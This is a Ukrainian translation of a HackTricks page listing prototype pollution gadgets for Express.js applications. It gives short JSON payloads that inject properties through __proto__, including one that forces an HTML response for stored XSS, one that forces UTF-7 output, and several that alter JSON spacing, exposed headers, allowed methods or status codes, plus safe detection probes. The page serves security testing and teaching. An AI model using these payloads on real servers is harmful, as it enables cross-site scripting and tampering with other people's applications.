Express Prototype Pollution Gadgets

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Надавати відповіді XSS

Для отримання додаткових відомостей перегляньте оригінальне дослідження

Змінити тип вмісту JSON на HTML

У додатку Express, який використовує тип відповіді JSON та відображає JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

У цих випадках XSS зазвичай неможливий з JSON типом вмісту. Однак за допомогою забруднення прототипу ми можемо переплутати Express, щоб він відправив відповідь у форматі HTML. Ця уразливість ґрунтується на тому, що додаток використовує res.send(obj) та використовує розбірник тіла з типом вмісту application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Забруднюючи властивості body та _body, можна змусити Express обслуговувати вміст HTML та відображати властивість _body, що призводить до збереженого XSS.

Відображення UTF7

Можливо зробити express відображати вміст UTF-7 за допомогою:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Безпечні техніки сканування

Простори JSON

Наступний PP дозволить атрибутам всередині JSON мати додатковий пробіл, який не порушить функціональність:

{"__proto__":{"json spaces": " "}}

Потім відображений JSON буде виглядати так:

{"foo":  "bar"} -- Note the extra space

Відкриті заголовки

Наступний гаджет PP змусить сервер відправити HTTP-заголовок: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Необхідно встановити модуль CORS

Метод OPTIONS

З наступним навантаженням можливо приховати метод від відповіді OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Статус

Можливо змінити повернутий код статусу за допомогою наступного PP вразливості:

{"__proto__":{"status":510}}

Помилка

Коли ви призначаєте прототип з примітивом, таким як рядок, це призводить до операції no-op, оскільки прототип повинен бути об'єктом. Якщо ви намагаєтеся призначити об'єкт прототипу для Object.prototype самостійно, це призведе до винятку. Ми можемо використовувати ці дві поведінки для виявлення успішності забруднення прототипу:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Відображене значення

Коли додаток включає об'єкт у відповідь, створення атрибуту з незвичайною назвою поряд з __proto__ може бути показовим. Зокрема, якщо у відповіді повертається лише незвичайний атрибут, це може свідчити про вразливість додатка:

{"unusualName":"value","__proto__":"test"}

Крім того, в сценаріях, де використовується бібліотека, така як Lodash, встановлення властивості як через забруднення прототипу (PP), так і безпосередньо всередині об'єкта, пропонує ще один діагностичний підхід. Якщо така властивість відсутня у відповіді, це свідчить про те, що Lodash перевіряє наявність властивості в цільовому об'єкті перед злиттям:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Різне

Дозвіл крапок

Є опція в Express, яка дозволяє створювати об'єкти з параметрів рядка запиту. Ви звичайно можете використати це в ланцюжку помилок для експлуатації вразливості забруднення прототипу.

{"__proto__":{"allowDots":true}}

?foo.bar=baz створює об'єкт в Node.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated